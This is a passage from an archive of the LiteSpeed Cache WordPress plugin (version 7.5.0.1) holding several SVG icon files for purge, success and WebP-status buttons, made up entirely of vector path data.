	<path fill="#6699CC" d="M48.201,23.882l-17.297-7.355c-0.446-0.188-0.959,0.018-1.147,0.463c-0.189,0.445,0.018,0.958,0.463,1.147
		l17.295,7.355c0.112,0.047,0.229,0.07,0.344,0.07c0.34,0,0.664-0.2,0.806-0.533C48.854,24.585,48.646,24.071,48.201,23.882z"/>
	<path fill="#6699CC" d="M34.828,23.886l-5.931-2.612c-0.445-0.195-0.959,0.006-1.153,0.448c-0.195,0.442,0.006,0.958,0.448,1.153
		l5.931,2.612c0.115,0.05,0.234,0.074,0.352,0.074c0.336,0,0.657-0.195,0.801-0.522C35.471,24.597,35.271,24.081,34.828,23.886z"/>
	<path fill="#6699CC" d="M54.087,26.923h-0.974l2.484-5.843c0.545-1.285-0.057-2.775-1.341-3.322l-2.211-0.94l1.563-5.534
		c0.379-1.344-0.405-2.746-1.75-3.125l-24.201-6.84c-1.35-0.379-2.748,0.405-3.127,1.75l-3.207,11.346
		c-0.021,0.075-0.016,0.149-0.017,0.224l-0.816-0.103c-1.38-0.168-2.655,0.812-2.83,2.198l-1.28,10.189h-0.976
		c-1.549,0-2.809,1.26-2.809,2.809c0,0.034,0.002,0.068,0.006,0.103l4.831,40.993c0.03,1.523,1.278,2.753,2.808,2.753H49.25
		c1.529,0,2.777-1.229,2.809-2.753l4.832-40.993c0.004-0.034,0.006-0.068,0.006-0.103C56.896,28.183,55.637,26.923,54.087,26.923z
		 M53.986,20.396l-2.555,6.01c-0.072,0.171-0.07,0.348-0.035,0.517H22.179L29.4,9.941c0.169-0.397,0.63-0.584,1.028-0.415
		l20.28,8.623c0.017,0.006,0.028,0.019,0.046,0.024c0.005,0.001,0.01,0,0.016,0.002l2.804,1.192
		C53.971,19.537,54.156,19.999,53.986,20.396z M26.216,3.543c0.118-0.416,0.549-0.661,0.968-0.541l24.201,6.839
		c0.416,0.118,0.659,0.552,0.543,0.967l-1.504,5.318l-19.311-8.21c-1.285-0.547-2.776,0.055-3.323,1.34l-2.517,5.918
		c-0.063-0.023-0.12-0.054-0.188-0.063l-2.065-0.259L26.216,3.543z M19.399,16.952c0.054-0.429,0.439-0.733,0.875-0.68l4.303,0.54
		l-4.037,9.495c-0.087,0.205-0.082,0.421-0.017,0.617h-2.377L19.399,16.952z M50.314,70.669c-0.004,0.034-0.006,0.067-0.006,0.103
		c0,0.584-0.476,1.06-1.06,1.06H20.243c-0.583,0-1.059-0.476-1.059-1.06c0-0.033-0.002-0.067-0.006-0.103l-4.83-40.981
		c0.023-0.563,0.489-1.015,1.058-1.015h38.68c0.568,0,1.034,0.451,1.059,1.015L50.314,70.669z"/>
	<path fill="#6699CC" d="M32.34,58.307h-4.416c-1.123,0-1.969-0.352-2.322-0.964s-0.234-1.521,0.328-2.491l0.327-0.565l1.131,0.653
		l0.001-4.362l-3.779,2.18l1.131,0.653l-0.326,0.564c-0.896,1.551-1.013,3.058-0.329,4.242c0.685,1.188,2.048,1.84,3.838,1.84h4.416
		c0.483,0,0.875-0.392,0.875-0.875C33.215,58.699,32.824,58.307,32.34,58.307z"/>
	<path fill="#6699CC" d="M39.508,46.949l-0.003-4.362l-1.13,0.653l-0.365-0.631c-0.549-0.951-1.248-1.637-2.074-2.035
		c-0.927-0.45-1.947-0.451-2.874-0.004c-0.831,0.402-1.53,1.088-2.079,2.037l-2.222,3.843c-0.242,0.419-0.099,0.954,0.319,1.196
		c0.138,0.078,0.289,0.117,0.437,0.117c0.302,0,0.596-0.156,0.758-0.438l2.222-3.844c0.371-0.642,0.816-1.092,1.325-1.336
		c0.448-0.217,0.902-0.217,1.35,0.002c0.506,0.244,0.951,0.692,1.322,1.336l0.365,0.631l-1.131,0.654L39.508,46.949z"/>
	<path fill="#6699CC" d="M42.328,50.08c-0.241-0.419-0.776-0.561-1.195-0.32c-0.419,0.242-0.563,0.777-0.32,1.195l2.252,3.896
		c0.562,0.971,0.682,1.879,0.328,2.49c-0.354,0.613-1.199,0.965-2.322,0.965h-0.637V57l-3.779,2.182l3.779,2.183v-1.308h0.637
		c1.791,0,3.154-0.652,3.839-1.841c0.684-1.187,0.565-2.692-0.33-4.241L42.328,50.08z"/>
	<path fill="#6699CC" d="M26.13,63.346c-0.48,0.055-0.826,0.486-0.772,0.967l0.327,2.908c0.05,0.447,0.429,0.777,0.869,0.777
		c0.033,0,0.065-0.002,0.099-0.006c0.48-0.055,0.826-0.486,0.772-0.967l-0.327-2.908C27.043,63.637,26.613,63.294,26.13,63.346z"/>
	<path fill="#6699CC" d="M24.216,47.162c0.032,0,0.065-0.002,0.099-0.006c0.48-0.055,0.826-0.486,0.772-0.967l-1.294-11.541
		c-0.054-0.48-0.482-0.826-0.967-0.772c-0.48,0.054-0.826,0.487-0.772,0.967l1.294,11.54C23.398,46.832,23.777,47.162,24.216,47.162
		z"/>
	<path fill="#6699CC" d="M43.361,63.348c-0.489-0.058-0.912,0.291-0.967,0.771l-0.326,2.906c-0.055,0.479,0.291,0.912,0.771,0.967
		c0.033,0.004,0.066,0.006,0.1,0.006c0.438,0,0.817-0.33,0.867-0.777l0.326-2.906C44.188,63.834,43.843,63.4,43.361,63.348z"/>
	<path fill="#6699CC" d="M46.668,33.877c-0.486-0.053-0.913,0.292-0.967,0.772l-1.297,11.563c-0.055,0.479,0.291,0.913,0.771,0.968
		c0.033,0.004,0.066,0.006,0.099,0.006c0.439,0,0.818-0.33,0.869-0.777l1.297-11.563C47.494,34.364,47.148,33.931,46.668,33.877z"/>
	<path fill="#6699CC" d="M34.553,63.373c-0.483,0-0.875,0.393-0.875,0.875v2.875c0,0.482,0.392,0.875,0.875,0.875
		c0.483,0,0.875-0.393,0.875-0.875v-2.875C35.428,63.766,35.037,63.373,34.553,63.373z"/>
	<path fill="#6699CC" d="M34.553,37.435c0.483,0,0.875-0.392,0.875-0.875v-1.813c0-0.483-0.392-0.875-0.875-0.875
		c-0.483,0-0.875,0.392-0.875,0.875v1.813C33.678,37.043,34.07,37.435,34.553,37.435z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/success_icon.svg000064400000007225151031165260022667 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="20px" height="20px" viewBox="0 0 20 20" enable-background="new 0 0 20 20" xml:space="preserve">
<g id="Layer_1_1_" display="none">
	<path display="inline" fill="#E8AE4A" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.509,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.322,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.358,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy_3" display="none">
	<path display="inline" fill="#4675B8" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.509,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.322,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.358,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy" display="none">
	<path display="inline" fill="#A32430" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M15.159,13.764c0.187,0.188,0.288,0.437,0.288,0.697c0,0.262-0.102,0.51-0.288,0.695
		c-0.185,0.184-0.438,0.289-0.698,0.289c-0.262,0-0.518-0.105-0.697-0.291L10,11.393l-3.764,3.765c-0.361,0.36-1.033,0.36-1.393,0
		c-0.187-0.185-0.29-0.433-0.29-0.695s0.103-0.512,0.289-0.696l3.764-3.767L4.842,6.234c-0.385-0.384-0.385-1.01,0-1.394
		c0.359-0.361,1.032-0.361,1.394,0L10,8.604l3.766-3.765c0.356-0.359,1.033-0.361,1.395,0c0.188,0.185,0.288,0.433,0.288,0.697
		c0.001,0.264-0.103,0.511-0.288,0.697l-3.766,3.764L15.159,13.764z"/>
</g>
<g id="Layer_1_copy_2">
	<path fill="#3ABFBF" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10C20,4.478,15.521,0,10,0z
		 M15.458,6.018l-5.944,9.089c-0.031,0.048-0.07,0.088-0.115,0.121l-0.088,0.063c-0.03,0.021-0.063,0.04-0.097,0.053l-0.189,0.075
		c-0.048,0.019-0.1,0.03-0.152,0.032l-0.146,0.004c-0.005,0-0.009,0-0.014,0c-0.026,0-0.052-0.003-0.078-0.008l-0.309-0.096
		c-0.058-0.022-0.11-0.058-0.154-0.101c-0.025-0.017-0.077-0.056-0.099-0.074l-3.381-3.133c-0.185-0.171-0.295-0.405-0.307-0.661
		c-0.01-0.256,0.079-0.497,0.251-0.683c0.357-0.378,0.974-0.398,1.349-0.054l2.597,2.399l5.277-8.069
		c0.277-0.426,0.895-0.558,1.322-0.276c0.211,0.137,0.357,0.352,0.41,0.602C15.645,5.554,15.596,5.807,15.458,6.018z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-opcache.svg000064400000010564151031165260022731 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	
		<path fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="
		M52.641,66.489"/>
</g>
<g>
	
		<path fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="
		M57.921,65.491"/>
</g>
<g>
	<g>
		
			<path fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="
			M53.936,70.87c0,1.066-0.863,1.934-1.934,1.934H22.996c-1.067,0-1.934-0.867-1.934-1.934l-4.836-41.04
			c0-1.068,0.865-1.934,1.934-1.934h38.68c1.066,0,1.934,0.865,1.934,1.934L53.936,70.87z"/>
		<g>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="28.981" y1="64.313" x2="29.308" y2="67.222"/>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="25.676" y1="34.846" x2="26.435" y2="41.617"/>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="46.018" y1="64.315" x2="45.691" y2="67.222"/>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="49.322" y1="34.846" x2="48.59" y2="41.371"/>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="37.306" y1="65.769" x2="37.306" y2="67.222"/>
			
				<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="37.306" y1="34.846" x2="37.306" y2="36.875"/>
		</g>
	</g>
</g>
<g>
	
		<circle fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" cx="37.5" cy="51.575" r="10.203"/>
	<g>
		
			<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="32.717" y1="46.79" x2="42.285" y2="56.358"/>
		
			<line fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="32.717" y1="56.358" x2="42.285" y2="46.79"/>
	</g>
</g>
<g>
	<g>
		<path fill="#21A0DF" stroke="#21A0DF" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M30.396,27.369
			l-3.276-7.024l2.402-1.121c2.317-1.08,3.895-0.719,4.733,1.081c0.438,0.939,0.455,1.809,0.05,2.612
			c-0.405,0.803-1.203,1.481-2.396,2.039l-1.089,0.508l0.857,1.838 M30.39,24.54l0.97-0.453c0.955-0.445,1.573-0.922,1.857-1.429
			c0.282-0.508,0.265-1.101-0.052-1.781c-0.286-0.613-0.699-0.976-1.24-1.089c-0.543-0.112-1.237,0.029-2.086,0.425l-1.204,0.562
			L30.39,24.54z"/>
		<path fill="#21A0DF" stroke="#21A0DF" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M46.293,22.687
			l-1.076,0.502l-2.033-4.36l-4.883,2.276l2.034,4.361l-1.078,0.501L34.936,16.7l1.078-0.502l1.839,3.943l4.88-2.276l-1.838-3.943
			l1.076-0.501L46.293,22.687z"/>
		<path fill="#21A0DF" stroke="#21A0DF" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M51.648,12.196
			c0.436,0.938,0.454,1.808,0.049,2.611c-0.406,0.804-1.203,1.483-2.395,2.039l-1.09,0.509L49.911,21l-1.076,0.502l-4.322-9.266
			l2.401-1.121C49.23,10.036,50.809,10.396,51.648,12.196z M47.781,16.43l0.969-0.453c0.954-0.445,1.574-0.921,1.857-1.429
			c0.281-0.506,0.266-1.101-0.053-1.781c-0.285-0.612-0.698-0.976-1.239-1.088c-0.542-0.112-1.237,0.029-2.087,0.425l-1.203,0.56
			L47.781,16.43z"/>
	</g>
	
		<path fill="none" stroke="#21A0DF" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="
		M20.102,27.406c-0.618-4.872,5.762-11.804,15.299-16.251c10.491-4.893,20.834-4.923,23.098-0.07
		c2.069,4.442-3.342,11.436-12.312,16.34"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/img_webp_disabled.svg000064400000007011151031165260023620 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
<circle fill="none" cx="15" cy="15.894" r="5.317"/>
<path fill="#D3D9CE" d="M8.71,5.417H4.312V5.124c0-0.608,0.492-1.101,1.1-1.101h2.198c0.607,0,1.101,0.492,1.101,1.101V5.417z
	 M29.481,8.01v15.766c0,1.217-0.984,2.201-2.199,2.201H2.719c-1.215,0-2.2-0.984-2.2-2.201V8.01c0-1.215,0.985-2.2,2.2-2.2h17.311
	l0.06,0.041l-0.596,0.408c-0.273,0.188-0.392,0.539-0.288,0.85c0.096,0.296,0.368,0.5,0.733,0.519l0.722-0.021l-0.241,0.679
	c-0.111,0.312-0.001,0.665,0.266,0.858c0.128,0.093,0.28,0.143,0.439,0.143c0.162,0,0.323-0.053,0.458-0.155l0.57-0.439l0.205,0.695
	c0.097,0.319,0.386,0.534,0.719,0.534s0.622-0.215,0.72-0.538L24,8.691l0.574,0.442c0.13,0.098,0.291,0.152,0.454,0.152
	c0.158,0,0.31-0.048,0.442-0.143c0.266-0.194,0.374-0.547,0.264-0.857l-0.241-0.68l0.752,0.021c0.336-0.012,0.605-0.212,0.701-0.514
	c0.104-0.314-0.014-0.665-0.288-0.854L26.063,5.85l0.06-0.041h1.159C28.497,5.81,29.481,6.795,29.481,8.01z M20.317,15.894
	c0-2.937-2.38-5.317-5.317-5.317c-2.936,0-5.316,2.381-5.316,5.317s2.381,5.317,5.316,5.317
	C17.938,21.211,20.317,18.83,20.317,15.894z M26.376,6.67c0.091,0.063,0.131,0.178,0.096,0.283
	c-0.033,0.105-0.121,0.168-0.244,0.173l-1.45-0.041l0.486,1.367c0.037,0.104,0.001,0.221-0.088,0.286
	c-0.09,0.064-0.212,0.063-0.3-0.004L23.727,7.85l-0.41,1.392c-0.032,0.106-0.13,0.179-0.24,0.179s-0.208-0.073-0.24-0.179
	l-0.41-1.392l-1.148,0.885c-0.089,0.066-0.211,0.068-0.299,0.004c-0.09-0.065-0.126-0.182-0.089-0.286l0.486-1.367l-1.451,0.041
	c-0.114-0.006-0.21-0.067-0.244-0.173c-0.035-0.105,0.005-0.221,0.096-0.283l1.197-0.82l-0.06-0.041l-1.138-0.78
	c-0.091-0.063-0.131-0.178-0.096-0.283c0.034-0.105,0.132-0.163,0.244-0.173l1.451,0.041L20.89,3.248
	c-0.037-0.104-0.001-0.221,0.089-0.286c0.088-0.065,0.21-0.063,0.299,0.004l1.148,0.884l0.41-1.392c0.064-0.213,0.416-0.213,0.48,0
	l0.41,1.392l1.149-0.885c0.088-0.068,0.21-0.069,0.3-0.004c0.089,0.065,0.125,0.182,0.088,0.286l-0.486,1.366l1.45-0.04
	c0.121,0.008,0.211,0.067,0.244,0.173c0.035,0.105-0.005,0.221-0.096,0.283l-1.138,0.78l-0.06,0.041L26.376,6.67z M25.393,6.603
	l-0.798-0.547c-0.067-0.046-0.108-0.124-0.108-0.206c0-0.014,0.008-0.027,0.01-0.041c0.012-0.066,0.043-0.127,0.099-0.166
	l0.798-0.547l-0.967,0.027c-0.069,0.017-0.16-0.036-0.209-0.103s-0.061-0.153-0.033-0.231l0.324-0.911l-0.766,0.589
	c-0.064,0.051-0.15,0.066-0.229,0.04c-0.078-0.025-0.14-0.088-0.163-0.167l-0.273-0.929l-0.273,0.929
	c-0.023,0.079-0.085,0.142-0.163,0.167c-0.078,0.026-0.164,0.012-0.229-0.04L21.646,3.88l0.324,0.91
	c0.027,0.078,0.016,0.164-0.033,0.231c-0.048,0.066-0.142,0.101-0.209,0.103L20.76,5.097l0.798,0.547
	c0.056,0.039,0.087,0.1,0.099,0.166c0.002,0.014,0.01,0.026,0.01,0.041c0,0.083-0.041,0.16-0.108,0.206L20.76,6.603l0.968-0.027
	c0.086,0,0.161,0.037,0.209,0.103c0.049,0.067,0.061,0.153,0.033,0.231l-0.324,0.91l0.765-0.589
	c0.044-0.034,0.098-0.052,0.152-0.052c0.026,0,0.052,0.004,0.077,0.012c0.078,0.025,0.14,0.088,0.163,0.167l0.273,0.929l0.273-0.929
	c0.023-0.079,0.085-0.142,0.163-0.167c0.079-0.024,0.165-0.011,0.229,0.04l0.766,0.589l-0.324-0.91
	c-0.027-0.078-0.016-0.164,0.033-0.231c0.048-0.067,0.121-0.122,0.209-0.103L25.393,6.603z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-front.svg000064400000005562151031165260022461 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M63.657,12.237c-0.046-0.116-0.109-0.227-0.205-0.318L52.954,1.835c-0.028-0.027-0.065-0.039-0.097-0.062
		c-0.061-0.043-0.115-0.089-0.187-0.117c-0.067-0.027-0.144-0.034-0.215-0.043c-0.037-0.005-0.069-0.022-0.108-0.022H52.33h-0.001
		H14.114c-1.577,0-2.86,1.283-2.86,2.859v66.923c0,1.577,1.283,2.859,2.86,2.859h46.773c1.575,0,2.858-1.282,2.858-2.859V12.608
		C63.746,12.474,63.711,12.351,63.657,12.237z M53.223,4.52l7.51,7.213h-7.395c-0.064,0-0.115-0.052-0.115-0.118V4.52z
		 M61.996,71.373c0,0.611-0.498,1.109-1.109,1.109H14.114c-0.612,0-1.11-0.498-1.11-1.109V4.45c0-0.612,0.498-1.109,1.11-1.109
		h37.359v8.274c0,1.03,0.836,1.868,1.864,1.868h8.658L61.996,71.373L61.996,71.373z"/>
	<path fill="#6699CC" d="M45.43,44.486c-6.656,0-12.072,5.416-12.072,12.072c0,6.655,5.416,12.071,12.072,12.071
		c6.655,0,12.071-5.415,12.071-12.071S52.085,44.486,45.43,44.486z M45.43,66.881c-5.691,0-10.322-4.63-10.322-10.32
		s4.63-10.321,10.322-10.321c5.69,0,10.321,4.631,10.321,10.321S51.12,66.881,45.43,66.881z"/>
	<path fill="#6699CC" d="M51.299,50.689c-0.342-0.342-0.896-0.342-1.238,0L45.43,55.32l-4.631-4.631
		c-0.342-0.342-0.896-0.342-1.238,0c-0.34,0.342-0.34,0.896,0,1.236l4.631,4.633l-4.631,4.631c-0.34,0.342-0.34,0.896,0,1.236
		c0.172,0.172,0.396,0.258,0.619,0.258s0.448-0.086,0.619-0.258l4.631-4.631l4.631,4.631c0.172,0.172,0.396,0.258,0.619,0.258
		s0.448-0.086,0.619-0.258c0.342-0.342,0.342-0.896,0-1.236l-4.631-4.631l4.631-4.633C51.641,51.586,51.641,51.031,51.299,50.689z"
		/>
	<path fill="#6699CC" d="M19.826,18.879c0,0.483,0.392,0.875,0.875,0.875h33.598c0.483,0,0.875-0.392,0.875-0.875
		s-0.392-0.875-0.875-0.875H20.701C20.218,18.004,19.826,18.396,19.826,18.879z"/>
	<path fill="#6699CC" d="M20.701,29.511h33.598c0.483,0,0.875-0.392,0.875-0.875c0-0.483-0.392-0.875-0.875-0.875H20.701
		c-0.483,0-0.875,0.392-0.875,0.875C19.826,29.119,20.218,29.511,20.701,29.511z"/>
	<path fill="#6699CC" d="M20.701,39.27h33.598c0.483,0,0.875-0.393,0.875-0.875s-0.392-0.875-0.875-0.875H20.701
		c-0.483,0-0.875,0.392-0.875,0.875S20.218,39.27,20.701,39.27z"/>
	<path fill="#6699CC" d="M30.125,47.275h-9.423c-0.483,0-0.875,0.393-0.875,0.875s0.392,0.875,0.875,0.875h9.423
		c0.483,0,0.875-0.393,0.875-0.875S30.608,47.275,30.125,47.275z"/>
	<path fill="#6699CC" d="M27.75,57.034h-7.049c-0.483,0-0.875,0.392-0.875,0.875s0.392,0.875,0.875,0.875h7.049
		c0.483,0,0.875-0.392,0.875-0.875S28.233,57.034,27.75,57.034z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-object.svg000064400000014213151031165260022570 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M56.841,27.021h-2.944l3.079-8.461c0.108-0.299,0.047-0.634-0.162-0.874l-7.001-8.046
		c-0.019-0.021-0.042-0.036-0.063-0.055c-0.033-0.032-0.065-0.065-0.104-0.091c-0.017-0.011-0.035-0.018-0.053-0.029
		c-0.049-0.028-0.098-0.056-0.15-0.075c-0.01-0.003-0.02-0.004-0.029-0.007c-0.062-0.02-0.124-0.035-0.189-0.04
		c-0.02-0.002-0.04,0.002-0.06,0.001c-0.05,0-0.1-0.003-0.149,0.005L38.48,11.014c-0.314,0.05-0.577,0.266-0.686,0.565
		l-3.846,10.563c-0.027,0.075-0.043,0.152-0.049,0.229c0,0.003,0,0.006,0,0.01c-0.005,0.073-0.001,0.146,0.012,0.217
		c0.003,0.017,0.011,0.032,0.015,0.048c0.014,0.058,0.03,0.114,0.056,0.168c0.01,0.021,0.025,0.038,0.036,0.058
		c0.024,0.042,0.045,0.084,0.076,0.123c0.003,0.003,0.008,0.005,0.011,0.008c0.003,0.004,0.005,0.01,0.009,0.014l3.515,4.003h-0.583
		l-3.372-3.876c-0.021-0.025-0.049-0.042-0.073-0.064c-0.03-0.027-0.057-0.057-0.09-0.08c-0.028-0.02-0.06-0.032-0.089-0.048
		c-0.037-0.02-0.072-0.041-0.11-0.055c-0.027-0.01-0.056-0.013-0.084-0.02c-0.045-0.012-0.089-0.024-0.136-0.029
		c-0.029-0.002-0.06,0.002-0.089,0.002c-0.042,0.001-0.083-0.003-0.125,0.004L22.34,24.521c-0.314,0.05-0.577,0.266-0.686,0.565
		l-0.705,1.936h-2.79c-1.549,0-2.809,1.26-2.809,2.809c0,0.034,0.002,0.068,0.006,0.103l4.831,40.993
		c0.03,1.523,1.278,2.753,2.808,2.753h29.007c1.53,0,2.778-1.229,2.808-2.753l4.833-40.993c0.004-0.034,0.006-0.068,0.006-0.103
		C59.649,28.281,58.39,27.021,56.841,27.021z M52.035,27.021h-0.145l-5.603-6.378l2.925-8.036l0.254-0.698l5.688,6.537
		L52.035,27.021z M39.262,12.662l8.561-1.351l-0.254,0.698l-2.925,8.036l-8.545,1.309L39.262,12.662z M36.483,23.064l8.464-1.296
		l1.982,2.257l2.631,2.996h-9.604L36.483,23.064z M33.264,25.588l0.063-0.174l1.398,1.607h-1.983L33.264,25.588z M23.123,26.168
		l8.56-1.353l-0.544,1.494l-0.259,0.712h-8.067L23.123,26.168z M53.067,70.768c-0.004,0.034-0.006,0.068-0.006,0.103
		c0,0.584-0.475,1.059-1.059,1.059H22.996c-0.583,0-1.059-0.475-1.059-1.059c0-0.034-0.002-0.068-0.006-0.103l-4.829-40.981
		c0.023-0.563,0.489-1.015,1.058-1.015h3.402h9.93h5.154h2.914h11.934h1.153h4.193c0.569,0,1.034,0.451,1.058,1.015L53.067,70.768z"
		/>
	<path fill="#6699CC" d="M28.884,63.444c-0.48,0.054-0.826,0.486-0.772,0.967l0.326,2.908c0.05,0.447,0.429,0.777,0.869,0.777
		c0.032,0,0.065-0.002,0.099-0.006c0.48-0.054,0.826-0.486,0.772-0.967l-0.326-2.908C29.797,63.735,29.364,63.382,28.884,63.444z"/>
	<path fill="#6699CC" d="M26.532,42.486c0.48-0.054,0.826-0.486,0.772-0.967l-0.759-6.771c-0.054-0.479-0.479-0.819-0.967-0.772
		c-0.48,0.054-0.826,0.487-0.772,0.967l0.759,6.771c0.05,0.447,0.429,0.777,0.869,0.777C26.466,42.492,26.499,42.49,26.532,42.486z"
		/>
	<path fill="#6699CC" d="M46.116,63.446c-0.485-0.057-0.914,0.291-0.967,0.771l-0.326,2.906c-0.055,0.48,0.291,0.913,0.771,0.967
		c0.033,0.004,0.066,0.006,0.099,0.006c0.439,0,0.818-0.33,0.868-0.777l0.326-2.906C46.942,63.933,46.597,63.5,46.116,63.446z"/>
	<path fill="#6699CC" d="M49.421,33.976c-0.488-0.052-0.913,0.292-0.967,0.772l-0.732,6.525c-0.055,0.48,0.291,0.913,0.771,0.967
		c0.033,0.004,0.066,0.006,0.099,0.006c0.439,0,0.818-0.33,0.868-0.777l0.732-6.525C50.247,34.463,49.901,34.03,49.421,33.976z"/>
